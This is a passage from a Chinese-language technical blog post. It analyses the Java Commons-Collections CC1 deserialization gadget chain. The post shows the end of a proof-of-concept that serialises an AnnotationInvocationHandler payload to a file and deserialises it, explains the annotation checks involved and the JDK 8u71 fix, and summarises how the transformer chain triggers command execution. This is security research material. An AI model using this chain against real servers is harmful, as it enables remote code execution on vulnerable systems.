Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取AnnotationInvocationHandler类实例
Object instance = ctor.newInstance(Target.class, outerMap);

//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);

//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化
fin.readObject();
}

image-20200914103156574

至此,我们在客户端构造了payload发送至服务端,只要服务端:

  1. 对我们的输入进行反序列化
  2. jdk版本为1.7

就可以直接完成命令执行,完美!

但是!!!

AnnotationType.getInstance(this.type)是一个关键的有关注解的操作。所以我们需要先来了解一下java的注解。

补充知识:注解

Target.class其实是java提供的的元注解(因为是注解所以之后写成特有的形式@Target)。除此之外还有@Retention@Documented@Inherited,所谓元注解就是标记其他注解的注解

  • @Target 用来约束注解可以应用的地方(如方法、类或字段)
  • @Retention用来约束注解的生命周期,分别有三个值,源码级别(source),类文件级别(class)或者运行时级别(runtime)
  • @Documented 被修饰的注解会生成到javadoc中
  • @Inherited 可以让注解被继承,但这并不是真的继承,只是通过使用@Inherited,可以让子类Class对象使用getAnnotations()获取父类被@Inherited修饰的注解
  • 除此之外注解还可以有注解元素(等同于赋值)。

举个自定义注解的例子:

1
2
3
4
5
@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
String name() default "";//default是默认值
}

它会被这样使用:

1
2
3
@DBTable(name = "MEMBER")
public class Member {
}

由于赋值的时候总是用 注解元素 = 值的形式太麻烦了,出现了 value 这个偷懒的语法糖。(这也是为什么之前的@Target(ElementType.TYPE)不是注解元素 = 值的形式)

如果注解元素为value时,就不需要用注解元素 = 值的形式,而是直接写入值就可以赋值为value。

除此之外java还有一些内置注解:

  • @Override:用于标明此方法覆盖了父类的方法
  • @Deprecated:用于标明已经过时的方法或类
  • @SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告

回过头来看看java.lang.annotation.Target

1
2
3
4
5
6
@Documented//会被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Target {
ElementType[] value();//注解元素,一个特定的value语法糖,可以省点力气
}

初步了解了java的注解之后,我们回来看AnnotationType.getInstance(this.type)对@Target这个注解的处理,不过多的去纠结内部细节,var2=getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等。

image-20200914105649446

var3就是一个注解元素的键值对value这个注解元素,可以取值Ljava.lang.annotation.ElementType类型的值。

image-20200914105816178

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//后半部分代码
Map var3 = var2.memberTypes();//{value:ElementType的键值对}
Iterator var4 = this.memberValues.entrySet().iterator();
//获取我们构造map的迭代器,无法命令执行的键值对是{key:value}

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//获取到{key:value}
String var6 = (String)var5.getKey();//获取键值对的键名key
Class var7 = (Class)var3.get(var6);
//从@Target的注解元素键值对{value:ElementType的键值对}中去寻找键名为key的值
//于是var7为空,进不到命令执行
if (var7 != null) {
//触发命令执行处
}
}
}
}
}

这样我们就搞懂了为什么赋值map{key:value}就不行,因为通过AnnotationInvocationHandler#readObject,我们需要保证:

  • 我们poc中提供的this.type的注解要存在注解元素名(为了满足var3不为空)。
  • 我们poc中提供的this.memberValues中存在的一个键值对的键名与this.type的注解要存在注解元素名相等。(为了满足var7!=null)

所以我们选取了@Target注解作为this.type,我们就必须向this.memberValues写入一个value:xxx的键值对

这里的this.type是可以变动的,比如换成另一个元注释Retention.class(虽然他的注解元素名也是value),甚至可以自定义,但是对方服务器上没有这个注释,打别人是没有用的,所以还是选用大家都有的元注释

同时我们写入的this.memberValues的键名不能改变,但是值可以改变。

例如innerMap.put("value","hello"),也是可以的。

限制点

8u71之前都是可以使用的,在Java 8u71之后代码发生了变动。

看一下jdk8里面的sun.reflect.annotation.AnnotationInvocationHandler readObject复写点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;

try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
//很伤心的,没有了map赋值语句
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
//省略...
}

因为这个函数出现了变动,不再有针对构造的map的赋值语句,所以触发不了漏洞。

而是改成了新建一个LinkedHashMap,把值转进这个LinkedHashMap里面。有空之后补上。

总结

那么整个cc1链就分析结束了,从PoC角度进行一下步骤总结:

  1. 首先sun.reflect.annotation.AnnotationInvocationHandler#readObject函数会将payload读取,在经过函数内部一系列的var变量解析之后,会在构造好的Map数据结构中直接setValue赋值操作。

  2. setValue函数是org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue

    它内部有一个transform危险函数,这个函数会循环解析payload封装好的transformer数组。

    这个transformer数组是org.apache.commons.collections.functors.ChainedTransformer#iTransformers

    可以看到是经过ChainedTransformer数据结构封装好的

  3. 在构造map对象的时候,我们通过decorate函数org.apache.commons.collections.map.TransformedMap#decorate,将我们的transformer数组,也就是恶意转换链配置好,一旦出现map赋值操作,他就会自动解析我们的恶意转换链,触发漏洞。

参考

1

2